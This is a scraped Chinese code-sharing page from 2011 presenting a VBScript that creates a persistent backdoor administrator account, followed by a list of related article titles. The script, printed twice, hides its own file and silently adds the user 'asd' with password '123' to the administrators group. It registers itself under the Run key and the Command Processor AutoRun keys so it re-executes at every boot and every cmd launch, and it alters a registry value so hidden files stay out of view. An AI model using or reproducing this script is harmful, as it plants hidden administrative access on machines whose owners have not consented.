VBS建立不死账户随cmd启动(代码)
2011-08-31 20:03
344 查看
dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34
set wsh=CreateObject("WScript.Shell")
wsh.run "net user asd 123 /add",0,true
wsh.run "net localgroup administrators asd /add" ,0,true
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34
set wsh=CreateObject("WScript.Shell")
wsh.run "net user asd 123 /add",0,true
wsh.run "net localgroup administrators asd /add" ,0,true
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
相关文章推荐
- VBS建立不死账户随cmd启动1
- 用vbs实现cmd功能的代码
- cmd启动,关闭 版本,显示创建语句db,table,建立db设置字集,日期,时间,解决表乱码
- linux非解压代码的启动过程分析 unicore head.S vmlinux解压后的代码运行 临时MMU的建立
- 复杂Powershell案例-获取批量建立账户的状态-PS代码的编写!
- vbs打开ie两种方法 在VBScript中启动IE浏览器的实现代码
- 用vbs实现不死帐号的代码
- Android:实用代码(开启启动、建立GPRS连接、闹钟等)
- 977dh用vbs通过wsh创建桌面快捷方式,快速启动,修改ie主页的恶意代码 ...
- CMD和vbs修改 IP地址及DNS的实现代码
- Linux0.11内核--启动代码分析setup.s 建立页目录和页表
- Linux0.11内核--启动代码分析setup.s 建立页目录和页表
- 操作、压缩MDB文件;使用ADO读写Mysql数据库;建立数据库和表的VBS脚本代码(2013-08-26 11:39:34)
- VBS备忘录启动代码
- 用vbs实现cmd多命令运行功能代码
- vbs打开ie两种方法 在VBScript中启动IE浏览器的实现代码
- 用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码
- Android:实用代码(开启启动、建立GPRS连接、闹钟等)
- 用VBS修改远程桌面3389端口并添加到Windows防火墙的代码
- U-Boot启动代码分析(MIPS)